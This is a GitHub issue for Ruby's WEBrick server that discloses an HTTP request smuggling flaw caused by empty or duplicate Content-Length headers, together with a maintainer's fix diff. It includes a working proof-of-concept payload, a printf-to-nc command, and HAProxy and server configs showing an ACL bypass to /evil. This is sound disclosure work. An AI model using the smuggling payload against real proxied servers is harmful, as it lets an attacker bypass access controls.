Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Request Smuggling in WEBrick Due to Incorrect Parsing of Empty Content-Length Values #119

Closed
kenballus opened this issue Aug 15, 2023 · 2 comments · Fixed by #120
Closed

Comments

@kenballus
Copy link
Contributor

kenballus commented Aug 15, 2023

Abstract

WEBrick is vulnerable to request smuggling when it is deployed behind a reverse proxy with the following two properties:

  1. Can be coerced into emitting requests containing two Content-Length headers, of which the first is empty.
  2. Prioritizes the second Content-Length header over the first.

HAProxy exhibited both of these behaviors until a few days ago. See CVE-2023-40225 for details.

WEBrick is vulnerable for two reasons:

  1. It interprets empty Content-Length headers to have a value of 0, and
  2. It prioritizes the first received Content-Length header over the rest if a request contains multiple Content-Length headers.

I suggest that WEBrick start rejecting messages with empty or multiple different Content-Length values. This is what most other web servers do, including Nginx, Apache, Lighttpd, H2O, IIS, Node.js, and LiteSpeed.

PoC Description

Suppose that we have WEBrick deployed behind a reverse proxy with the aforementioned properties (e.g. HAProxy 2.8.0) that has an ACL rule blocking access to the /evil directory on the WEBrick host.

The following payload will bypass the ACL rule:

GET / HTTP/1.1\r\n
Content-Length: \r\n
Content-Length: 43\r\n
\r\n
POST /evil HTTP/1.1\r\n
Content-Length: 18\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n

This works because HAProxy sees the payload as two GET requests for /, but WEBrick sees the payload as a GET request for / and a POST request for /evil.

PoC Reproduction Steps

  1. Start with a fresh installation of Alpine Linux (docker run --workdir /repro -it alpine:3.18.0)
  2. Build and install Ruby:
cd /repro
apk add git autoconf gcc musl-dev make ruby-dev libffi-dev openssl-dev zlib-dev yaml-dev
git clone --depth 1 "https://github.com/ruby/ruby"
cd ruby
./autogen.sh
./configure
make -j$(nproc)
make install
  1. Build and install WEBrick:
cd /repro
git clone "https://github.com/ruby/webrick"
cd webrick
gem build
gem install ./webrick*.gem
  1. Build and install HAProxy 2.8.0:
cd /repro
git clone "https://github.com/haproxy/haproxy"
cd haproxy
git checkout v2.8.0
make -j`nproc` TARGET=linux-musl
make install
  1. Copy the files from the Files section into the filesystem.
  2. Start a WEBrick server on port 8080 that responds 200 to everything:
ruby /repro/server.rb &
  1. Start HAProxy on port 80 with an ACL rule blocking access to /evil:
haproxy -f /repro/haproxy.conf &
  1. Send the payload to HAProxy:
printf 'GET / HTTP/1.1\r\nContent-Length: \r\nContent-Length: 43\r\n\r\nPOST /evil HTTP/1.1\r\nContent-Length: 18\r\n\r\nGET / HTTP/1.1\r\n\r\n' | nc localhost 80
  1. Observe that WEBrick sees a request for /evil, indicating that the ACL has been bypassed:
127.0.0.1 - - [14/Aug/2023:22:37:18 UTC] "GET / HTTP/1.1" 200 0
- -> /
...
127.0.0.1 - - [14/Aug/2023:22:37:18 UTC] "POST /evil HTTP/1.1" 200 0
- -> /evil

Files

/repro/server.rb

require 'webrick'

server = WEBrick::HTTPServer.new({:Port => 8080})

server.mount_proc '/' do |request, response|
  response.status = 200
end

server.start()

/repro/haproxy.conf

global
    maxconn 4096

defaults
    mode http
    option http-keep-alive
    timeout client 1s
    timeout connect 1s
    timeout server 1s
    timeout http-request 1s
    http-reuse always

frontend the_frontend
    bind 0.0.0.0:80
    default_backend the_backend
    http-request deny if { path -i -m beg /evil }

backend the_backend
   server server1 localhost:8080

Suggested Fix

WEBrick should reject any message that contains an empty Content-Length header. WEBrick should also reject any message containing multiple Content-Length headers, especially if those headers do not all have the same value. See here for the relevant portion of the standard.

@kenballus
Copy link
Contributor Author

Note: this was originally submitted to Ruby's HackerOne program, but I was told to report this publicly here.

@jeremyevans
Copy link
Contributor

Based on the suggested fix:

diff --git a/lib/webrick/httprequest.rb b/lib/webrick/httprequest.rb
index 680ac65..7937eb9 100644
--- a/lib/webrick/httprequest.rb
+++ b/lib/webrick/httprequest.rb
@@ -479,6 +479,14 @@ module WEBrick
         end
       end
       @header = HTTPUtils::parse_header(@raw_header.join)
+
+      if (content_length = @header['content-length']) && content_length.length != 0
+        if content_length.length > 1
+          raise HTTPStatus::BadRequest, "multiple content-length request headers"
+        elsif !/\A\d+\z/.match?(content_length[0])
+          raise HTTPStatus::BadRequest, "invalid content-length request header"
+        end
+      end
     end
 
     def parse_uri(str, scheme="http")

Haven't had time to come up with tests for this yet, but it does pass existing tests.

jeremyevans added a commit to jeremyevans/webrick that referenced this issue Aug 15, 2023
jeremyevans added a commit to jeremyevans/webrick that referenced this issue Aug 15, 2023
jeremyevans added a commit that referenced this issue Aug 16, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
2 participants